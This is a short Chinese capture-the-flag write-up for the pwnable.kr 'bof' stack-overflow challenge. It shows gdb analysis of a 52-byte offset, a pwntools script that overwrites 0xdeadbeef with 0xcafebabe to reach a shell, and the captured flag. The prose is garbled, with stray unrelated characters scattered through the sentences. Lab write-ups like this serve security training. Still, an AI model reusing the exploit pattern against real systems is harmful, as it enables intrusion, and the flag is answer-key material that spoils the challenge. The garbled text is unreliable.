pwnable.kr
下載
先將bof
與 bof.c
下載下來(lái)衣吠,先檢查下 bof
開(kāi)啟的保護(hù)
是真的嚇到锰什,基本能開(kāi)的都開(kāi)了,但是轉(zhuǎn)念一想晨炕,入門級(jí)別沒(méi)有那么惡心人吧衫画,然后看看源代碼
發(fā)現(xiàn),只是要將傳入的0xdeadbeef
通過(guò)棧溢出換成0xcafebabe
瓮栗,而且在程序里面已經(jīng)有調(diào)用system("/bin/sh")
的語(yǔ)句削罩,只要替換成功就能調(diào)用瞄勾,那這些保護(hù)基本也沒(méi)什么意義嘛。
gdb調(diào)試
繼續(xù)單步弥激,輸入AAAAAAAA
,之后x/30x $esp
查看椊福空間
A
的ASCLL
值為41
,可以看出微服,我們要覆蓋的地址與輸入地址相差52
個(gè)字節(jié).
Exp
from pwn import *
r = remote('pwnable.kr','9000')
buf = 52 * 'A'
buf += p32(0xcafebabe)
r.sendline(buf)
r.interactive()
運(yùn)行下
flag
=daddy, I just pwned a buFFer :)